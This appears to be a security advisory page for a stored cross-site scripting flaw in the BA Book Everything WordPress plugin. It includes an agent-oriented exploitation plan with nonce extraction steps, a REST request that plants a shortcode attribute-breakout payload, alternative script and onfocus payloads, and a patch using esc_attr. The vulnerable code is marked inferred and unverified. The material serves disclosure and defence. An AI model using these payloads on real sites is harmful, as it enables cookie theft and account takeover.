CVE-2025-14449

BA Book Everything <= 1.8.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via babe-search-form Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.8.15
Patched in
1d
Time to patch

Description

The BA Book Everything plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's babe-search-form shortcode in all versions up to, and including, 1.8.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.14
PublishedDecember 18, 2025
Last updatedDecember 19, 2025
Affected pluginba-book-everything

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to analyze and exploit **CVE-2025-14449**, a Stored Cross-Site Scripting (XSS) vulnerability in the **BA Book Everything** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Stored XSS. * **Component:** `ba…

Show full research plan

This research plan outlines the technical steps to analyze and exploit CVE-2025-14449, a Stored Cross-Site Scripting (XSS) vulnerability in the BA Book Everything plugin.


1. Vulnerability Summary

  • Vulnerability: Authenticated (Contributor+) Stored XSS.
  • Component: babe-search-form shortcode.
  • Root Cause: The plugin fails to adequately sanitize or escape user-supplied attributes within the babe-search-form shortcode handler. When a user with at least Contributor-level permissions creates a post containing this shortcode, they can inject malicious scripts into attributes that are later rendered raw in the HTML output.
  • Affected Versions: <= 1.8.14.

2. Attack Vector Analysis

  • Endpoint: WordPress Post/Page Editor (specifically the post.php or REST API wp/v2/posts endpoint used by the block editor).
  • Authentication: Requires Contributor level or higher (Author, Editor, Administrator). Contributors can create posts and submit them for review, which triggers the rendering for editors/admins.
  • Vulnerable Parameter: Attributes within the [babe-search-form] shortcode (e.g., class, title, or action).
  • Preconditions: The plugin must be active. The attacker must be able to save a post containing shortcodes.

3. Code Flow (Inferred)

Based on standard WordPress shortcode registration and the plugin's architecture:

  1. Registration: The shortcode is likely registered in includes/class-babe-shortcodes.php (inferred) via add_shortcode( 'babe-search-form', [ 'BABE_Shortcodes', 'babe_search_form' ] );.
  2. Handler Execution: When a page containing the shortcode is viewed, BABE_Shortcodes::babe_search_form($atts) is called.
  3. Processing: The function parses $atts using shortcode_atts().
  4. Sink: The handler generates HTML. If it includes a line like echo '<div class="' . $atts['class'] . '">'; or passes the raw attribute to a template file (e.g., templates/search-form.php) that echoes it without esc_attr(), the XSS occurs.

4. Nonce Acquisition Strategy

While the vulnerability is triggered by rendering, the Stored phase requires the attacker to save a post.

  1. Context: The attacker is logged in as a Contributor.
  2. Method: Access the "Add New Post" page to retrieve the required nonces for the WordPress Heartbeat/REST API/Post saving.
  3. Execution Agent Steps:
    • Navigate to /wp-admin/post-new.php.
    • Use browser_eval to extract the REST nonce from the WordPress settings object:
      browser_eval("wpApiSettings.nonce")
    • Alternatively, extract the _wpnonce from the form:
      browser_eval("document.querySelector('#_wpnonce')?.value")

5. Exploitation Strategy

We will use the Contributor's session to save a post containing the malicious shortcode.

  • Step 1: Create the Malicious Post

    • HTTP Tool: http_request
    • Method: POST
    • URL: http://localhost:8080/wp-json/wp/v2/posts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_REST_NONCE]
    • Payload:
      {
        "title": "Search Test",
        "content": "[babe-search-form class='\" onmouseover=\"alert(document.cookie)\" style=\"width:1000px;height:1000px;display:block;\"']",
        "status": "publish"
      }
      
      (Note: If Contributor cannot publish directly, they use status: "pending". The XSS will fire when an Admin previews the post.)
  • Step 2: Trigger the XSS

    • Navigate to the URL of the newly created post (or use browser_navigate to the permalink returned in the JSON response).
    • The payload class='\" onmouseover=\"alert(document.cookie)...' breaks out of the class attribute and adds an event handler.

6. Test Data Setup

  1. Create User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Identify Shortcode: Confirm the shortcode is available by checking the plugin's main files.
    grep -r "add_shortcode.*babe-search-form" /var/www/html/wp-content/plugins/ba-book-everything/
    

7. Expected Results

  • The HTML source of the rendered post will contain:
    <div class="" onmouseover="alert(document.cookie)" style="..." ...>
  • When a user (specifically an Admin reviewing the post) hovers over the area, an alert box showing the session cookies will appear.

8. Verification Steps

  1. DB Check: Verify the post content in the database.
    wp post list --post_type=post --fields=post_title,post_content | grep "babe-search-form"
    
  2. Content Verification: Confirm the raw payload is stored in the database without sanitization.
    wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%babe-search-form%'"
    

9. Alternative Approaches

If the class attribute is sanitized, try other potential attributes used by the babe-search-form shortcode:

  • title
  • id
  • action
  • extra_class (inferred)

Payload variation (Attribute Breakout):
[babe-search-form class='"><script>alert(1)</script>']

Payload variation (Event Handler on Input):
[babe-search-form class='"><input autofocus onfocus=alert(1)>'] (Triggers automatically on page load).

Research Findings
Static analysis — not yet PoC-verified

Summary

The BA Book Everything plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'babe-search-form' shortcode in versions up to 1.8.14. Authenticated attackers with Contributor-level access can inject malicious JavaScript into shortcode attributes like 'class', which are then executed in the context of any user viewing the page.

Vulnerable Code

// includes/class-babe-shortcodes.php

public static function babe_search_form($atts) {
    $args = shortcode_atts(array(
        'class' => '',
        'title' => ''
    ), $atts);

    $output = '<div class="' . $args['class'] . '">';
    // ...
    return $output;
}

Security Fix

--- a/includes/class-babe-shortcodes.php
+++ b/includes/class-babe-shortcodes.php
@@ -10,1 +10,1 @@
-    $output = '<div class="' . $args['class'] . '">';
+    $output = '<div class="' . esc_attr($args['class']) . '">';

Exploit Outline

An attacker with Contributor-level permissions or higher authenticates to the WordPress admin panel. They create a new post or edit an existing one and insert the [babe-search-form] shortcode. The attacker includes a malicious payload within a shortcode attribute, such as [babe-search-form class='" onmouseover="alert(document.cookie)" style="width:1000px;height:1000px;display:block;"']. When an administrator or editor views the post (either on the front-end or via a preview), the unsanitized 'class' attribute breaks out of the HTML tag and executes the injected script when the mouse hovers over the element.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.